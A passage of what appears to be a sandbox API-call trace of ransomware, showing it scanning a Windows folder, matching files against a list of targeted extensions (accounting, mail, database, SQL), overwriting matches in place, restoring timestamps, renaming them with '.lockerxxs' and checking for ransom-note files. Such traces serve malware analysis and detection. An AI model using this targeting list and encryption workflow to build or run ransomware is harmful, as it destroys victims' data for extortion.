lpString2="InstallRoles.sql") returned -1 [0135.522] lstrcmpiA (lpString1="", lpString2="InstallRoles.sql") returned -1 [0135.523] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallProfile.SQL") returned="InstallProfile.SQL" [0135.523] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.523] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.523] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.523] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.523] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="InstallRoles.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql" [0135.523] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.ems") returned 0 [0135.523] lstrlenA (lpString="*.ems") returned 5 [0135.523] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.db") returned 0 [0135.523] lstrlenA (lpString="*.db") returned 4 [0135.523] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.dbf") returned 0 [0135.523] lstrlenA (lpString="*.dbf") returned 5 [0135.523] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.myox") returned 0 [0135.523] lstrlenA (lpString="*.myox") returned 6 [0135.523] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.myo") returned 0 [0135.523] lstrlenA (lpString="*.myo") returned 5 [0135.523] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.qbw") returned 0 [0135.524] lstrlenA (lpString="*.qbw") returned 5 [0135.524] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.qbb") returned 0 [0135.524] lstrlenA (lpString="*.qbb") returned 5 [0135.524] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.qbm") returned 0 [0135.524] lstrlenA (lpString="*.qbm") returned 5 [0135.524] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.qbo") returned 0 [0135.524] lstrlenA (lpString="*.qbo") returned 5 [0135.524] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.qbx") returned 0 [0135.524] lstrlenA (lpString="*.qbx") returned 5 [0135.524] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.qba") returned 0 [0135.524] lstrlenA (lpString="*.qba") returned 5 [0135.524] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.qby") returned 0 [0135.524] lstrlenA (lpString="*.qby") returned 5 [0135.524] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.qbj") returned 0 [0135.524] lstrlenA (lpString="*.qbj") returned 5 [0135.524] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.ofx") returned 0 [0135.524] lstrlenA (lpString="*.ofx") returned 5 [0135.524] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.qif") returned 0 [0135.524] lstrlenA (lpString="*.qif") returned 5 [0135.525] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.mye") returned 0 [0135.525] lstrlenA (lpString="*.mye") returned 5 [0135.525] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.mbox") returned 0 [0135.525] lstrlenA (lpString="*.mbox") returned 6 [0135.525] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.eml") returned 0 [0135.525] lstrlenA (lpString="*.eml") returned 5 [0135.525] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.pst") returned 0 [0135.525] lstrlenA (lpString="*.pst") returned 5 [0135.525] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.ost") returned 0 [0135.525] lstrlenA (lpString="*.ost") returned 5 [0135.525] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.idx") returned 0 [0135.525] lstrlenA (lpString="*.idx") returned 5 [0135.525] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.dbx") returned 0 [0135.525] lstrlenA (lpString="*.dbx") returned 5 [0135.525] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", pszSpec="*.sql") returned 1 [0135.525] lstrlenA (lpString="*.sql") returned 5 [0135.525] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql" [0135.525] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql" [0135.525] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql." [0135.526] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql.lockerxxs" [0135.526] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installroles.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0135.528] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85d8 [0135.528] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xda7a075b, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0xda7a075b, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9f51f8dc, dwHighDateTime=0x1c9ea11)) returned 1 [0135.528] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.528] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x85b2, lpOverlapped=0x0) returned 1 [0135.535] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql") returned="InstallRoles.sql" [0135.553] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.553] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x85b2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x85b2, lpOverlapped=0x0) returned 1 [0135.554] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0135.554] CloseHandle (hObject=0x8c) returned 1 [0135.554] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installroles.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installroles.sql.lockerxxs")) returned 1 [0135.558] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda5d76ff, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xda5d76ff, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9fcdc05c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xcba3, dwReserved0=0xf30001f2, dwReserved1=0x4e00c4, cFileName="InstallSqlState.sql", cAlternateFileName="IN1007~1.SQL")) returned 1 [0135.558] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.558] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallSqlState.sql") returned -1 [0135.558] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallSqlState.sql") returned -1 [0135.558] lstrcmpiA (lpString1="", lpString2="InstallSqlState.sql") returned -1 [0135.558] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql") returned="InstallRoles.sql" [0135.558] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.558] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.558] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.558] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.558] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="InstallSqlState.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql" [0135.558] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.ems") returned 0 [0135.558] lstrlenA (lpString="*.ems") returned 5 [0135.558] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.db") returned 0 [0135.558] lstrlenA (lpString="*.db") returned 4 [0135.558] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.dbf") returned 0 [0135.558] lstrlenA (lpString="*.dbf") returned 5 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.myox") returned 0 [0135.559] lstrlenA (lpString="*.myox") returned 6 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.myo") returned 0 [0135.559] lstrlenA (lpString="*.myo") returned 5 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.qbw") returned 0 [0135.559] lstrlenA (lpString="*.qbw") returned 5 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.qbb") returned 0 [0135.559] lstrlenA (lpString="*.qbb") returned 5 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.qbm") returned 0 [0135.559] lstrlenA (lpString="*.qbm") returned 5 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.qbo") returned 0 [0135.559] lstrlenA (lpString="*.qbo") returned 5 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.qbx") returned 0 [0135.559] lstrlenA (lpString="*.qbx") returned 5 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.qba") returned 0 [0135.559] lstrlenA (lpString="*.qba") returned 5 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.qby") returned 0 [0135.559] lstrlenA (lpString="*.qby") returned 5 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.qbj") returned 0 [0135.559] lstrlenA (lpString="*.qbj") returned 5 [0135.559] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.ofx") returned 0 [0135.560] lstrlenA (lpString="*.ofx") returned 5 [0135.560] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.qif") returned 0 [0135.560] lstrlenA (lpString="*.qif") returned 5 [0135.560] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.mye") returned 0 [0135.560] lstrlenA (lpString="*.mye") returned 5 [0135.560] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.mbox") returned 0 [0135.560] lstrlenA (lpString="*.mbox") returned 6 [0135.560] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.eml") returned 0 [0135.560] lstrlenA (lpString="*.eml") returned 5 [0135.560] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.pst") returned 0 [0135.560] lstrlenA (lpString="*.pst") returned 5 [0135.560] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.ost") returned 0 [0135.560] lstrlenA (lpString="*.ost") returned 5 [0135.560] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.idx") returned 0 [0135.560] lstrlenA (lpString="*.idx") returned 5 [0135.560] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.dbx") returned 0 [0135.560] lstrlenA (lpString="*.dbx") returned 5 [0135.560] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", pszSpec="*.sql") returned 1 [0135.560] lstrlenA (lpString="*.sql") returned 5 [0135.560] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql" [0135.561] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql" [0135.561] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql." [0135.561] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql.lockerxxs" [0135.561] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installsqlstate.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0135.563] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcba3 [0135.563] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xda5d76ff, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0xda5d76ff, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9fcdc05c, dwHighDateTime=0x1c9ea11)) returned 1 [0135.563] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.563] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xcb7d, lpOverlapped=0x0) returned 1 [0135.569] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql") returned="InstallSqlState.sql" [0135.569] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.569] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xcb7d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xcb7d, lpOverlapped=0x0) returned 1 [0135.570] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0135.570] CloseHandle (hObject=0x8c) returned 1 [0135.570] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installsqlstate.sql.lockerxxs")) returned 1 [0135.572] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf359d44, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf359d44, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9fd745dc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xd28f, dwReserved0=0xf00001f1, dwReserved1=0x4e00c4, cFileName="InstallSqlStateTemplate.sql", cAlternateFileName="IN9021~1.SQL")) returned 1 [0135.573] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.573] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallSqlStateTemplate.sql") returned -1 [0135.573] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallSqlStateTemplate.sql") returned -1 [0135.573] lstrcmpiA (lpString1="", lpString2="InstallSqlStateTemplate.sql") returned -1 [0135.573] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql") returned="InstallSqlState.sql" [0135.573] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.573] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.573] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.573] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.573] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="InstallSqlStateTemplate.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql" [0135.573] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.ems") returned 0 [0135.573] lstrlenA (lpString="*.ems") returned 5 [0135.573] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.db") returned 0 [0135.573] lstrlenA (lpString="*.db") returned 4 [0135.573] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.dbf") returned 0 [0135.573] lstrlenA (lpString="*.dbf") returned 5 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.myox") returned 0 [0135.574] lstrlenA (lpString="*.myox") returned 6 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.myo") returned 0 [0135.574] lstrlenA (lpString="*.myo") returned 5 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.qbw") returned 0 [0135.574] lstrlenA (lpString="*.qbw") returned 5 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.qbb") returned 0 [0135.574] lstrlenA (lpString="*.qbb") returned 5 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.qbm") returned 0 [0135.574] lstrlenA (lpString="*.qbm") returned 5 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.qbo") returned 0 [0135.574] lstrlenA (lpString="*.qbo") returned 5 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.qbx") returned 0 [0135.574] lstrlenA (lpString="*.qbx") returned 5 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.qba") returned 0 [0135.574] lstrlenA (lpString="*.qba") returned 5 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.qby") returned 0 [0135.574] lstrlenA (lpString="*.qby") returned 5 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.qbj") returned 0 [0135.574] lstrlenA (lpString="*.qbj") returned 5 [0135.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.ofx") returned 0 [0135.574] lstrlenA (lpString="*.ofx") returned 5 [0135.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.qif") returned 0 [0135.575] lstrlenA (lpString="*.qif") returned 5 [0135.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.mye") returned 0 [0135.575] lstrlenA (lpString="*.mye") returned 5 [0135.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.mbox") returned 0 [0135.575] lstrlenA (lpString="*.mbox") returned 6 [0135.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql", pszSpec="*.eml") returned 0 [0135.575] lstrlenA (lpString="*.eml") returned 5 